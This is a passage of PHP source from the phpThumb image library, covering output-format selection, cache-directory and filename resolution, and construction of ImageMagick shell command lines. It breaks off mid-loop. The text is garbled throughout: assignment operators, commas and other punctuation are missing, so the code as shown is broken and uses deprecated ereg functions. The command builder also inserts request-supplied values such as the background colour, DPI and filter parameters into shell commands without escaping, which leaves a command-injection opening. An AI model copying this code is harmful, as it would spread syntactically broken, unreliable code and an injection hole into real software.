// URL
            
if ($this->config_http_user_agent) {
                
ini_set('user_agent'$this->config_http_user_agent);
            }
        } elseif (!@
file_exists($this->sourceFilename)) {
            return 
$this->ErrorImage('"'.$this->sourceFilename.'" does not exist');
        } elseif (!@
is_file($this->sourceFilename)) {
            return 
$this->ErrorImage('"'.$this->sourceFilename.'" is not a file');
        }
        return 
true;
    }

    function 
setOutputFormat() {
        static 
$alreadyCalled false;
        if (
$this->thumbnailFormat && $alreadyCalled) {
            return 
true;
        }
        
$alreadyCalled true;

        
$AvailableImageOutputFormats = array();
        
$AvailableImageOutputFormats[] = 'text';
        if (@
is_readable(dirname(__FILE__).'/phpthumb.ico.php')) {
            
$AvailableImageOutputFormats[] = 'ico';
        }
        if (@
is_readable(dirname(__FILE__).'/phpthumb.bmp.php')) {
            
$AvailableImageOutputFormats[] = 'bmp';
        }

        
$this->thumbnailFormat 'ico';

        
// Set default output format based on what image types are available
        
if (function_exists('ImageTypes')) {
            
$imagetypes ImageTypes();
            if (
$imagetypes IMG_WBMP) {
                
$this->thumbnailFormat         'wbmp';
                
$AvailableImageOutputFormats[] = 'wbmp';
            }
            if (
$imagetypes IMG_GIF) {
                
$this->thumbnailFormat         'gif';
                
$AvailableImageOutputFormats[] = 'gif';
            }
            if (
$imagetypes IMG_PNG) {
                
$this->thumbnailFormat         'png';
                
$AvailableImageOutputFormats[] = 'png';
            }
            if (
$imagetypes IMG_JPG) {
                
$this->thumbnailFormat         'jpeg';
                
$AvailableImageOutputFormats[] = 'jpeg';
            }
        } else {
            
//return $this->ErrorImage('ImageTypes() does not exist - GD support might not be enabled?');
            
$this->DebugMessage('ImageTypes() does not exist - GD support might not be enabled?',  __FILE____LINE__);
        }
        if (
$this->ImageMagickVersion()) {
            
$IMformats = array('jpeg''png''gif''bmp''ico''wbmp');
            
$this->DebugMessage('Addding ImageMagick formats to $AvailableImageOutputFormats ('.implode(';'$AvailableImageOutputFormats).')'__FILE____LINE__);
            foreach (
$IMformats as $key => $format) {
                
$AvailableImageOutputFormats[] = $format;
            }
        }
        
$AvailableImageOutputFormats array_unique($AvailableImageOutputFormats);
        
$this->DebugMessage('$AvailableImageOutputFormats = array('.implode(';'$AvailableImageOutputFormats).')'__FILE____LINE__);

        
$this->ereg_replace('[^a-z]'''strtolower($this->f));
        if (
strtolower($this->config_output_format) == 'jpg') {
            
$this->config_output_format 'jpeg';
        }
        if (
strtolower($this->f) == 'jpg') {
            
$this->'jpeg';
        }
        if (
phpthumb_functions::CaseInsensitiveInArray($this->config_output_format$AvailableImageOutputFormats)) {
            
// set output format to config default if that format is available
            
$this->DebugMessage('$this->thumbnailFormat set to $this->config_output_format "'.strtolower($this->config_output_format).'"'__FILE____LINE__);
            
$this->thumbnailFormat strtolower($this->config_output_format);
        } elseif (
$this->config_output_format) {
            
$this->DebugMessage('$this->thumbnailFormat staying as "'.$this->thumbnailFormat.'" because $this->config_output_format ('.strtolower($this->config_output_format).') is not in $AvailableImageOutputFormats'__FILE____LINE__);
        }
        if (
$this->&& (phpthumb_functions::CaseInsensitiveInArray($this->f$AvailableImageOutputFormats))) {
            
// override output format if $this->f is set and that format is available
            
$this->DebugMessage('$this->thumbnailFormat set to $this->f "'.strtolower($this->f).'"'__FILE____LINE__);
            
$this->thumbnailFormat strtolower($this->f);
        } elseif (
$this->f) {
            
$this->DebugMessage('$this->thumbnailFormat staying as "'.$this->thumbnailFormat.'" because $this->f ('.strtolower($this->f).') is not in $AvailableImageOutputFormats'__FILE____LINE__);
        }

        
// for JPEG images, quality 1 (worst) to 99 (best)
        // quality < 25 is nasty, with not much size savings - not recommended
        // problems with 100 - invalid JPEG?
        
$this->thumbnailQuality max(1min(99, ($this->$this->75)));
        
$this->DebugMessage('$this->thumbnailQuality set to "'.$this->thumbnailQuality.'"'__FILE____LINE__);

        return 
true;
    }

    function 
setCacheDirectory() {
        
// resolve cache directory to absolute pathname
        
$this->DebugMessage('setCacheDirectory() starting with config_cache_directory = "'.$this->config_cache_directory.'"'__FILE____LINE__);
        if (
substr($this->config_cache_directory01) == '.') {
            if (
eregi('^(f|ht)tps?\://'$this->src)) {
                if (!
$this->config_cache_disable_warning) {
                    
$this->ErrorImage('$this->config_cache_directory ('.$this->config_cache_directory.') cannot be used for remote images. Adjust "cache_directory" or "cache_disable_warning" in phpThumb.config.php');
                }
            } elseif (
$this->src) {
                
// resolve relative cache directory to source image
                
$this->config_cache_directory dirname($this->ResolveFilenameToAbsolute($this->src)).DIRECTORY_SEPARATOR.$this->config_cache_directory;
            } else {
                
// $this->new is probably set
            
}
        }
        if (
substr($this->config_cache_directory, -1) == '/') {
            
$this->config_cache_directory substr($this->config_cache_directory0, -1);
        }
        if (
$this->iswindows) {
            
$this->config_cache_directory str_replace('/'DIRECTORY_SEPARATOR$this->config_cache_directory);
        }
        if (
$this->config_cache_directory) {
            
$real_cache_path realpath($this->config_cache_directory);
            if (!
$real_cache_path) {
                
$this->DebugMessage('realpath($this->config_cache_directory) failed for "'.$this->config_cache_directory.'"'__FILE____LINE__);
                if (!
is_dir($this->config_cache_directory)) {
                    
$this->DebugMessage('!is_dir('.$this->config_cache_directory.')'__FILE____LINE__);
                }
            }
            if (
$real_cache_path) {
                
$this->DebugMessage('setting config_cache_directory to realpath('.$this->config_cache_directory.') = "'.$real_cache_path.'"'__FILE____LINE__);
                
$this->config_cache_directory $real_cache_path;
            }
        }
        if (!
is_dir($this->config_cache_directory)) {
            if (!
$this->config_cache_disable_warning) {
                
$this->ErrorImage('$this->config_cache_directory ('.$this->config_cache_directory.') does not exist. Adjust "cache_directory" or "cache_disable_warning" in phpThumb.config.php');
            }
            
$this->DebugMessage('$this->config_cache_directory ('.$this->config_cache_directory.') is not a directory'__FILE____LINE__);
            
$this->config_cache_directory null;
        } elseif (!@
is_writable($this->config_cache_directory)) {
            
$this->DebugMessage('$this->config_cache_directory is not writable ('.$this->config_cache_directory.')'__FILE____LINE__);
        }

        
$this->InitializeTempDirSetting();
        if (!@
is_dir($this->config_temp_directory) && !@is_writable($this->config_temp_directory) && @is_dir($this->config_cache_directory) && @is_writable($this->config_cache_directory)) {
            
$this->DebugMessage('setting $this->config_temp_directory = $this->config_cache_directory ('.$this->config_cache_directory.')'__FILE____LINE__);
            
$this->config_temp_directory $this->config_cache_directory;
        }
        return 
true;
    }


    function 
ResolveFilenameToAbsolute($filename) {
        if (!
$filename) {
            return 
false;
        }

        
//if (eregi('^(f|ht)tps?\://', $filename)) {
        
if (eregi('^[a-z0-9]+\:/{1,2}'$filename)) {
            
// eg: http://host/path/file.jpg (HTTP URL)
            // eg: ftp://host/path/file.jpg  (FTP URL)
            // eg: data1:/path/file.jpg      (Netware path)

            //$AbsoluteFilename = $filename;
            
return $filename;

        } elseif (
$this->iswindows && ($filename{1} == ':')) {

            
// absolute pathname (Windows)
            
$AbsoluteFilename $filename;

        } elseif (
$this->iswindows && ((substr($filename02) == '//') || (substr($filename02) == '\\\\'))) {

            
// absolute pathname (Windows)
            
$AbsoluteFilename $filename;

        } elseif (
$filename{0} == '/') {

            if (@
is_readable($filename) && !@is_readable($this->config_document_root.$filename)) {

                
// absolute filename (*nix)
                
$AbsoluteFilename $filename;

            } elseif (
$filename{1} == '~') {

                
// /~user/path
                
if ($ApacheLookupURIarray phpthumb_functions::ApacheLookupURIarray($filename)) {
                    
$AbsoluteFilename $ApacheLookupURIarray['filename'];
                } else {
                    
$AbsoluteFilename realpath($filename);
                    if (@
is_readable($AbsoluteFilename)) {
                        
$this->DebugMessage('phpthumb_functions::ApacheLookupURIarray() failed for "'.$filename.'", but the correct filename ('.$AbsoluteFilename.') seems to have been resolved with realpath($filename)'__FILE____LINE__);
                    } elseif (
is_dir(dirname($AbsoluteFilename))) {
                        
$this->DebugMessage('phpthumb_functions::ApacheLookupURIarray() failed for "'.dirname($filename).'", but the correct directory ('.dirname($AbsoluteFilename).') seems to have been resolved with realpath(.)'__FILE____LINE__);
                    } else {
                        return 
$this->ErrorImage('phpthumb_functions::ApacheLookupURIarray() failed for "'.$filename.'". This has been known to fail on Apache2 - try using the absolute filename for the source image (ex: "/home/user/httpdocs/image.jpg" instead of "/~user/image.jpg")');
                    }
                }

            } else {

                
// relative filename (any OS)
                
if (ereg('^'.preg_quote($this->config_document_root), $filename)) {
                    
$AbsoluteFilename $filename;
                    
$this->DebugMessage('ResolveFilenameToAbsolute() NOT prepending $this->config_document_root ('.$this->config_document_root.') to $filename ('.$filename.') resulting in ($AbsoluteFilename = "'.$AbsoluteFilename.'")'__FILE____LINE__);
                } else {
                    
$AbsoluteFilename $this->config_document_root.$filename;
                    
$this->DebugMessage('ResolveFilenameToAbsolute() prepending $this->config_document_root ('.$this->config_document_root.') to $filename ('.$filename.') resulting in ($AbsoluteFilename = "'.$AbsoluteFilename.'")'__FILE____LINE__);
                }

            }

        } else {

            
// relative to current directory (any OS)
            
$AbsoluteFilename $this->config_document_root.dirname(@$_SERVER['PHP_SELF']).DIRECTORY_SEPARATOR.$filename;
            
//if (!@file_exists($AbsoluteFilename) && @file_exists(realpath($this->DotPadRelativeDirectoryPath($filename)))) {
            //    $AbsoluteFilename = realpath($this->DotPadRelativeDirectoryPath($filename));
            //}

            
if (substr(dirname(@$_SERVER['PHP_SELF']), 02) == '/~') {
                if (
$ApacheLookupURIarray phpthumb_functions::ApacheLookupURIarray(dirname(@$_SERVER['PHP_SELF']))) {
                    
$AbsoluteFilename $ApacheLookupURIarray['filename'].DIRECTORY_SEPARATOR.$filename;
                } else {
                    
$AbsoluteFilename realpath('.').DIRECTORY_SEPARATOR.$filename;
                    if (@
is_readable($AbsoluteFilename)) {
                        
$this->DebugMessage('phpthumb_functions::ApacheLookupURIarray() failed for "'.dirname(@$_SERVER['PHP_SELF']).'", but the correct filename ('.$AbsoluteFilename.') seems to have been resolved with realpath(.)/$filename'__FILE____LINE__);
                    } elseif (
is_dir(dirname($AbsoluteFilename))) {
                        
$this->DebugMessage('phpthumb_functions::ApacheLookupURIarray() failed for "'.dirname(@$_SERVER['PHP_SELF']).'", but the correct directory ('.dirname($AbsoluteFilename).') seems to have been resolved with realpath(.)'__FILE____LINE__);
                    } else {
                        return 
$this->ErrorImage('phpthumb_functions::ApacheLookupURIarray() failed for "'.dirname(@$_SERVER['PHP_SELF']).'". This has been known to fail on Apache2 - try using the absolute filename for the source image');
                    }
                }
            }

        }
        if (
is_link($AbsoluteFilename)) {
            
$this->DebugMessage('is_link()==true, changing "'.$AbsoluteFilename.'" to "'.readlink($AbsoluteFilename).'"'__FILE____LINE__);
            
$AbsoluteFilename readlink($AbsoluteFilename);
        }
        if (
realpath($AbsoluteFilename)) {
            
$AbsoluteFilename realpath($AbsoluteFilename);
        }
        if (
$this->iswindows) {
            
$AbsoluteFilename eregi_replace('^'.preg_quote(realpath($this->config_document_root)), realpath($this->config_document_root), $AbsoluteFilename);
            
$AbsoluteFilename str_replace(DIRECTORY_SEPARATOR'/'$AbsoluteFilename);
        }
        if (!
$this->config_allow_src_above_docroot && !ereg('^'.preg_quote(str_replace(DIRECTORY_SEPARATOR'/'realpath($this->config_document_root))), $AbsoluteFilename)) {
            
$this->DebugMessage('!$this->config_allow_src_above_docroot therefore setting "'.$AbsoluteFilename.'" (outside "'.realpath($this->config_document_root).'") to null'__FILE____LINE__);
            return 
false;
        }
        if (!
$this->config_allow_src_above_phpthumb && !ereg('^'.preg_quote(str_replace(DIRECTORY_SEPARATOR'/'dirname(__FILE__))), $AbsoluteFilename)) {
            
$this->DebugMessage('!$this->config_allow_src_above_phpthumb therefore setting "'.$AbsoluteFilename.'" (outside "'.dirname(__FILE__).'") to null'__FILE____LINE__);
            return 
false;
        }
        return 
$AbsoluteFilename;
    }

    function 
ImageMagickWhichConvert() {
        static 
$WhichConvert null;
        if (
is_null($WhichConvert)) {
            if (
$this->iswindows) {
                
$WhichConvert false;
            } else {
                
$WhichConvert trim(phpthumb_functions::SafeExec('which convert'));
            }
        }
        return 
$WhichConvert;
    }

    function 
ImageMagickCommandlineBase() {
        static 
$commandline null;
        if (
is_null($commandline)) {
            
$commandline = (!is_null($this->config_imagemagick_path) ? $this->config_imagemagick_path '');

            if (
$this->config_imagemagick_path && ($this->config_imagemagick_path != realpath($this->config_imagemagick_path))) {
                if (@
is_executable(realpath($this->config_imagemagick_path))) {
                    
$this->DebugMessage('Changing $this->config_imagemagick_path ('.$this->config_imagemagick_path.') to realpath($this->config_imagemagick_path) ('.realpath($this->config_imagemagick_path).')'__FILE____LINE__);
                    
$this->config_imagemagick_path realpath($this->config_imagemagick_path);
                } else {
                    
$this->DebugMessage('Leaving $this->config_imagemagick_path as ('.$this->config_imagemagick_path.') because !is_execuatable(realpath($this->config_imagemagick_path)) ('.realpath($this->config_imagemagick_path).')'__FILE____LINE__);
                }
            }
            
$this->DebugMessage('  file_exists('.$this->config_imagemagick_path.') = '.intval(  @file_exists($this->config_imagemagick_path)), __FILE____LINE__);
            
$this->DebugMessage('is_executable('.$this->config_imagemagick_path.') = '.intval(@is_executable($this->config_imagemagick_path)), __FILE____LINE__);
            if (@
file_exists($this->config_imagemagick_path)) {
                
$this->DebugMessage('using ImageMagick path from $this->config_imagemagick_path ('.$this->config_imagemagick_path.')'__FILE____LINE__);
                if (
$this->iswindows) {
                    
$commandline substr($this->config_imagemagick_path02).' && cd "'.str_replace('/'DIRECTORY_SEPARATORsubstr(dirname($this->config_imagemagick_path), 2)).'" && '.basename($this->config_imagemagick_path);
                } else {
                    
$commandline '"'.$this->config_imagemagick_path.'"';
                }
                return 
$commandline;
            }

            
$which_convert $this->ImageMagickWhichConvert();
            
$IMversion     $this->ImageMagickVersion();

            if (
$which_convert && ($which_convert{0} == '/') && @file_exists($which_convert)) {

                
// `which convert` *should* return the path if "convert" exist, or nothing if it doesn't
                // other things *may* get returned, like "sh: convert: not found" or "no convert in /usr/local/bin /usr/sbin /usr/bin /usr/ccs/bin"
                // so only do this if the value returned exists as a file
                
$this->DebugMessage('using ImageMagick path from `which convert` ('.$which_convert.')'__FILE____LINE__);
                
$commandline 'convert';

            } elseif (
$IMversion) {

                
$this->DebugMessage('setting ImageMagick path to $this->config_imagemagick_path ('.$this->config_imagemagick_path.') ['.$IMversion.']'__FILE____LINE__);
                
$commandline $this->config_imagemagick_path;

            } else {

                
$this->DebugMessage('ImageMagickThumbnailToGD() aborting because cannot find convert in $this->config_imagemagick_path ('.$this->config_imagemagick_path.'), and `which convert` returned ('.$which_convert.')'__FILE____LINE__);
                
$commandline '';

            }
        }
        return 
$commandline;
    }

    function 
ImageMagickVersion($returnRAW=false) {
        static 
$versionstring null;
        if (
is_null($versionstring)) {
            
$commandline $this->ImageMagickCommandlineBase();
            
$commandline = (!is_null($commandline) ? $commandline '');

            
$versionstring = array(0=>''1=>'');
            if (
$commandline) {
                
$commandline .= ' --version';
                
$this->DebugMessage('ImageMagick version checked with "'.$commandline.'"'__FILE____LINE__);
                
$versionstring[1] = trim(phpthumb_functions::SafeExec($commandline));
                if (
eregi('^Version: [^0-9]*([ 0-9\\.\\:Q/]+) (http|file)\:'$versionstring[1], $matches)) {
                    
$versionstring[0] = $matches[1];
                } else {
                    
$versionstring[0] = false;
                    
$this->DebugMessage('ImageMagick did not return recognized version string ('.$versionstring[1].')'__FILE____LINE__);
                }
                
$this->DebugMessage('ImageMagick convert --version says "'.$matches[0].'"'__FILE____LINE__);
            }
        }
        return @
$versionstring[intval($returnRAW)];
    }

    function 
ImageMagickSwitchAvailable($switchname) {
        static 
$IMoptions null;
        if (
is_null($IMoptions)) {
            
$IMoptions = array();
            
$commandline $this->ImageMagickCommandlineBase();
            if (!
is_null($commandline)) {
                
$commandline .= ' -help';
                
$IMhelp_lines explode("\n"phpthumb_functions::SafeExec($commandline));
                foreach (
$IMhelp_lines as $line) {
                    if (
ereg('^[\+\-]([a-z\-]+) 'trim($line), $matches)) {
                        
$IMoptions[$matches[1]] = true;
                    }
                }
            }
        }
        if (
is_array($switchname)) {
            
$allOK true;
            foreach (
$switchname as $key => $value) {
                if (!isset(
$IMoptions[$value])) {
                    
$allOK false;
                    break;
                }
            }
            
$this->DebugMessage('ImageMagickSwitchAvailable('.implode(';'$switchname).') = '.intval($allOK).''__FILE____LINE__);
        } else {
            
$allOK = isset($IMoptions[$switchname]);
            
$this->DebugMessage('ImageMagickSwitchAvailable('.$switchname.') = '.intval($allOK).''__FILE____LINE__);
        }
        return 
$allOK;
    }

    function 
ImageMagickFormatsList() {
        static 
$IMformatsList null;
        if (
is_null($IMformatsList)) {
            
$IMformatsList '';
            
$commandline $this->ImageMagickCommandlineBase();
            if (!
is_null($commandline)) {
                
$commandline dirname($commandline).DIRECTORY_SEPARATOR.str_replace('convert''identify'basename($commandline));
                
$commandline .= ' -list format';
                
$IMformatsList phpthumb_functions::SafeExec($commandline);
            }
        }
        return 
$IMformatsList;
    }

    function 
SourceDataToTempFile() {
        if (
$IMtempSourceFilename $this->phpThumb_tempnam()) {
            
$IMtempSourceFilename realpath($IMtempSourceFilename);
            
ob_start();
            
$fp_tempfile fopen($IMtempSourceFilename'wb');
            
$tempfile_open_error  ob_get_contents();
            
ob_end_clean();
            if (
$fp_tempfile) {
                
fwrite($fp_tempfile$this->rawImageData);
                
fclose($fp_tempfile);
                
$this->sourceFilename $IMtempSourceFilename;
                
$this->DebugMessage('ImageMagickThumbnailToGD() setting $this->sourceFilename to "'.$IMtempSourceFilename.'" from $this->rawImageData ('.strlen($this->rawImageData).' bytes)'__FILE____LINE__);
            } else {
                
$this->DebugMessage('ImageMagickThumbnailToGD() FAILED setting $this->sourceFilename to "'.$IMtempSourceFilename.'" (failed to open for writing: "'.$tempfile_open_error.'")'__FILE____LINE__);
            }
            unset(
$tempfile_open_error$IMtempSourceFilename);
            return 
true;
        }
        
$this->DebugMessage('SourceDataToTempFile() FAILED because $this->phpThumb_tempnam() failed'__FILE____LINE__);
        return 
false;
    }

    function 
ImageMagickThumbnailToGD() {
        
// http://www.imagemagick.org/script/command-line-options.php

        
$this->useRawIMoutput true;
        if (
phpthumb_functions::gd_version()) {
            
// if GD is not available, must use whatever ImageMagick can output

            // $UnAllowedParameters contains options that can only be processed in GD, not ImageMagick
            // note: 'fltr' *may* need to be processed by GD, but we'll check that in more detail below
            
$UnAllowedParameters = array('xto''ar''bg''bc');
            
// 'ra' may be part of this list, if not a multiple of 90
            
foreach ($UnAllowedParameters as $parameter) {
                if (isset(
$this->$parameter)) {
                    
$this->DebugMessage('$this->useRawIMoutput=false because "'.$parameter.'" is set'__FILE____LINE__);
                    
$this->useRawIMoutput false;
                    break;
                }
            }
        }
        
$this->DebugMessage('$this->useRawIMoutput='.($this->useRawIMoutput 'true' 'false').' after checking $UnAllowedParameters'__FILE____LINE__);
        
$outputFormat $this->thumbnailFormat;
        if (
phpthumb_functions::gd_version()) {
            if (
$this->useRawIMoutput) {
                switch (
$this->thumbnailFormat) {
                    case 
'gif':
                        
$ImageCreateFunction 'ImageCreateFromGIF';
                        
$this->is_alpha true;
                        break;
                    case 
'png':
                        
$ImageCreateFunction 'ImageCreateFromPNG';
                        
$this->is_alpha true;
                        break;
                    case 
'jpg':
                    case 
'jpeg':
                        
$ImageCreateFunction 'ImageCreateFromJPEG';
                        break;
                    default:
                        
$this->DebugMessage('Forcing output to PNG because $this->thumbnailFormat ('.$this->thumbnailFormat.' is not a GD-supported format)'__FILE____LINE__);
                        
$outputFormat 'png';
                        
$ImageCreateFunction 'ImageCreateFromPNG';
                        
$this->is_alpha true;
                        
$this->useRawIMoutput false;
                        break;
                }
                if (!
function_exists(@$ImageCreateFunction)) {
                    
// ImageMagickThumbnailToGD() depends on ImageCreateFromPNG/ImageCreateFromGIF
                    //$this->DebugMessage('ImageMagickThumbnailToGD() aborting because '.@$ImageCreateFunction.'() is not available', __FILE__, __LINE__);
                    
$this->useRawIMoutput true;
                    
//return false;
                
}
            } else {
                
$outputFormat 'png';
                
$ImageCreateFunction 'ImageCreateFromPNG';
                
$this->is_alpha true;
                
$this->useRawIMoutput false;
            }
        }

        if (!
$this->sourceFilename && $this->rawImageData) {
            !
$this->SourceDataToTempFile();
        }
        if (!
$this->sourceFilename) {
            
$this->DebugMessage('ImageMagickThumbnailToGD() aborting because $this->sourceFilename is empty'__FILE____LINE__);
            
$this->useRawIMoutput false;
            return 
false;
        }

        
$commandline $this->ImageMagickCommandlineBase();
        if (
$commandline) {
            if (
$IMtempfilename $this->phpThumb_tempnam()) {
                
$IMtempfilename realpath($IMtempfilename);

                
$IMuseExplicitImageOutputDimensions false;
                if (
$this->ImageMagickSwitchAvailable('thumbnail') && $this->config_imagemagick_use_thumbnail) {
                    
$IMresizeParameter 'thumbnail';
                } else {
                    
$IMresizeParameter 'resize';

                    
// some (older? around 2002) versions of IM won't accept "-resize 100x" but require "-resize 100x100"
                    
$commandline_test $this->ImageMagickCommandlineBase().' logo: -resize 1x "'.$IMtempfilename.'" 2>&1';
                    
$IMresult_test phpthumb_functions::SafeExec($commandline_test);
                    
$IMuseExplicitImageOutputDimensions eregi('image dimensions are zero'$IMresult_test);
                    
$this->DebugMessage('IMuseExplicitImageOutputDimensions = '.intval($IMuseExplicitImageOutputDimensions), __FILE____LINE__);
                    if (
$fp_im_temp = @fopen($IMtempfilename'wb')) {
                        
// erase temp image so ImageMagick logo doesn't get output if other processing fails
                        
fclose($fp_im_temp);
                    }
                }


                if (!
is_null($this->dpi) && $this->ImageMagickSwitchAvailable('density')) {
                    
// for raster source formats only (WMF, PDF, etc)
                    
$commandline .= ' -density '.$this->dpi;
                }
                
ob_start();
                
$getimagesize GetImageSize($this->sourceFilename);
                
$GetImageSizeError ob_get_contents();
                
ob_end_clean();
                if (
is_array($getimagesize)) {
                    
$this->DebugMessage('GetImageSize('.$this->sourceFilename.') SUCCEEDED: '.print_r($getimagesizetrue), __FILE____LINE__);
                } else {
                    
$this->DebugMessage('GetImageSize('.$this->sourceFilename.') FAILED with error "'.$GetImageSizeError.'"'__FILE____LINE__);
                }
                if (
is_array($getimagesize)) {
                    
$this->DebugMessage('GetImageSize('.$this->sourceFilename.') returned [w='.$getimagesize[0].';h='.$getimagesize[1].';f='.$getimagesize[2].']'__FILE____LINE__);
                    
$this->source_width  $getimagesize[0];
                    
$this->source_height $getimagesize[1];
                    
$this->DebugMessage('source dimensions set to '.$this->source_width.'x'.$this->source_height__FILE____LINE__);
                    
$this->SetOrientationDependantWidthHeight();

                    if (!
eregi('('.implode('|'$this->AlphaCapableFormats).')'$outputFormat)) {
                        
// not a transparency-capable format
                        
$commandline .= ' -background "#'.($this->bg $this->bg 'FFFFFF').'"';
                        if (
$getimagesize[2] == 1) {
                            
// GIF
                            
$commandline .= ' -flatten';
                        }
                    }
                    if (
$getimagesize[2] == 1) {
                        
// GIF
                        
$commandline .= ' -coalesce'// may be needed for animated GIFs
                    
}
                    if (
$this->source_width || $this->source_height) {
                        if (
$this->zc) {

                            
$borderThickness 0;
                            if (!empty(
$this->fltr)) {
                                foreach (
$this->fltr as $key => $value) {
                                    if (
ereg('^bord\|([0-9]+)'$value$matches)) {
                                        
$borderThickness $matches[1];
                                        break;
                                    }
                                }
                            }
                            
$wAll intval(max($this->w$this->wp$this->wl$this->ws)) - ($borderThickness);
                            
$hAll intval(max($this->h$this->hp$this->hl$this->hs)) - ($borderThickness);
                            
$imAR $this->source_width $this->source_height;
                            
$zcAR = (($wAll && $hAll) ? $wAll $hAll 1);
                            
$side  phpthumb_functions::nonempty_min($this->source_width$this->source_heightmax($wAll$hAll));
                            
$sideX phpthumb_functions::nonempty_min($this->source_width,                       $wAllround($hAll $zcAR));
                            
$sideY phpthumb_functions::nonempty_min(                     $this->source_height$hAllround($wAll $zcAR));

                            
$thumbnailH round(max($sideY, ($sideY $zcAR) / $imAR));
                            if (
$IMuseExplicitImageOutputDimensions) {
                                
$commandline .= ' -'.$IMresizeParameter.' '.$thumbnailH.'x'.$thumbnailH;
                            } else {
                                
$commandline .= ' -'.$IMresizeParameter.' x'.$thumbnailH;
                            }

                            switch (
strtoupper($this->zc)) {
                                case 
'T':
                                    
$commandline .= ' -gravity north';
                                    break;
                                case 
'B':
                                    
$commandline .= ' -gravity south';
                                    break;
                                case 
'L':
                                    
$commandline .= ' -gravity west';
                                    break;
                                case 
'R':
                                    
$commandline .= ' -gravity east';
                                    break;
                                case 
'TL':
                                    
$commandline .= ' -gravity northwest';
                                    break;
                                case 
'TR':
                                    
$commandline .= ' -gravity northeast';
                                    break;
                                case 
'BL':
                                    
$commandline .= ' -gravity southwest';
                                    break;
                                case 
'BR':
                                    
$commandline .= ' -gravity southeast';
                                    break;
                                case 
'1':
                                case 
'C':
                                default:
                                    
$commandline .= ' -gravity center';
                                    break;
                            }

                            if ((
$wAll 0) && ($hAll 0)) {
                                
$commandline .= ' -crop '.$wAll.'x'.$hAll.'+0+0';
                            } else {
                                
$commandline .= ' -crop '.$side.'x'.$side.'+0+0';
                            }
                            if (
$this->ImageMagickSwitchAvailable('repage')) {
                                
$commandline .= ' +repage';
                            } else {
                                
$this->DebugMessage('Skipping "+repage" because ImageMagick (v'.$this->ImageMagickVersion().') does not support it'__FILE____LINE__);
                            }

                        } elseif (
$this->sw || $this->sh || $this->sx || $this->sy) {

                            
$commandline .= ' -crop '.($this->sw $this->sw $this->source_width).'x'.($this->sh $this->sh $this->source_height).'+'.$this->sx.'+'.$this->sy;
                            
// this is broken for aoe=1, but unsure how to fix. Send advice to info@silisoftware.com
                            
if ($this->|| $this->h) {
                                if (
$this->ImageMagickSwitchAvailable('repage')) {
                                    
$commandline .= ' -repage';
                                } else {
                                    
$this->DebugMessage('Skipping "-repage" because ImageMagick (v'.$this->ImageMagickVersion().') does not support it'__FILE____LINE__);
                                }
                                if (
$IMuseExplicitImageOutputDimensions) {
                                    if (
$this->&& !$this->h) {
                                        
$this->ceil($this->/ ($this->source_width $this->source_height));
                                    } elseif (
$this->&& !$this->w) {
                                        
$this->ceil($this->* ($this->source_width $this->source_height));
                                    }
                                }
                                
$commandline .= ' -'.$IMresizeParameter.' '.$this->w.'x'.$this->h;
                            }

                        } else {

                            if (
$this->iar && (intval($this->w) > 0) && (intval($this->h) > 0)) {
                                
//$commandline .= ' -'.$IMresizeParameter.' '.$this->w.'x'.$this->h.'!';
                                
list($nw$nh) = phpthumb_functions::TranslateWHbyAngle($this->w$this->h$this->ra);
                                
$nw = ((round($nw) != 0) ? round($nw) : '');
                                
$nh = ((round($nh) != 0) ? round($nh) : '');
                                
$commandline .= ' -'.$IMresizeParameter.' '.$nw.'x'.$nh.'!';
                            } else {
                                
$this->= ((($this->aoe || $this->far) && $this->w) ? $this->: ($this->phpthumb_functions::nonempty_min($this->w$getimagesize[0]) : ''));
                                
$this->= ((($this->aoe || $this->far) && $this->h) ? $this->: ($this->phpthumb_functions::nonempty_min($this->h$getimagesize[1]) : ''));
                                if (
$this->|| $this->h) {
                                    if (
$IMuseExplicitImageOutputDimensions) {
                                        if (
$this->&& !$this->h) {
                                            
$this->ceil($this->/ ($this->source_width $this->source_height));
                                        } elseif (
$this->&& !$this->w) {
                                            
$this->ceil($this->* ($this->source_width $this->source_height));
                                        }
                                    }
                                    
//$commandline .= ' -'.$IMresizeParameter.' '.$this->w.'x'.$this->h;
                                    
list($nw$nh) = phpthumb_functions::TranslateWHbyAngle($this->w$this->h$this->ra);
                                    
$nw = ((round($nw) != 0) ? round($nw) : '');
                                    
$nh = ((round($nh) != 0) ? round($nh) : '');
                                    
$commandline .= ' -'.$IMresizeParameter.' '.$nw.'x'.$nh;
                                }
                            }
                        }
                    }

                } else {

                    
$this->DebugMessage('GetImageSize('.$this->sourceFilename.') failed'__FILE____LINE__);
                    if (
$this->|| $this->h) {
                        if (
$IMuseExplicitImageOutputDimensions) {
                            
// unknown source aspect ration, just put large number and hope IM figures it out
                            
$commandline .= ' -'.$IMresizeParameter.' '.($this->$this->'9999').'x'.($this->$this->'9999');
                        } else {
                            
$commandline .= ' -'.$IMresizeParameter.' '.$this->w.'x'.$this->h;
                        }
                        if (
$this->iar && (intval($this->w) > 0) && (intval($this->h) > 0)) {
                            
$commandline .= '!';
                        }
                    }

                }

                if (
$this->ra) {
                    
$this->ra intval($this->ra);
                    if (
$this->ImageMagickSwitchAvailable('rotate')) {
                        if (!
eregi('('.implode('|'$this->AlphaCapableFormats).')'$outputFormat) || phpthumb_functions::version_compare_replacement($this->ImageMagickVersion(), '6.3.7''>=')) {
                            
$this->DebugMessage('Using ImageMagick rotate'__FILE____LINE__);
                            
$commandline .= ' -rotate '.$this->ra;
                            if ((
$this->ra 90) != 0) {
                                if (
eregi('('.implode('|'$this->AlphaCapableFormats).')'$outputFormat)) {
                                    
// alpha-capable format
                                    
$commandline .= ' -background rgba(255,255,255,0)';
                                } else {
                                    
$commandline .= ' -background "#'.($this->bg $this->bg 'FFFFFF').'"';
                                }
                            }
                            
$this->ra 0;
                        } else {
                            
$this->DebugMessage('Not using ImageMagick rotate because alpha background buggy before v6.3.7'__FILE____LINE__);
                        }
                    } else {
                        
$this->DebugMessage('Not using ImageMagick rotate because not supported'__FILE____LINE__);
                    }
                }

                
$successfullyProcessedFilters = array();
                foreach (
$this->fltr as $filterkey => $filtercommand) {
                    @list(
$command$parameter) = explode('|'$filtercommand2);
                    switch (
$command) {
                        case 
'brit':
                            if (
$this->ImageMagickSwitchAvailable('modulate')) {
                                
$commandline .= ' -modulate '.(100 $parameter).',100,100';
                                
$successfullyProcessedFilters[] = $filterkey;
                            }
                            break;

                        case 
'cont':
                            if (
$this->ImageMagickSwitchAvailable('contrast')) {
                                
$contDiv10 round($parameter 10);
                                if (
$contDiv10 0) {
                                    for (
$i 0$i $contDiv10$i++) {
                                        
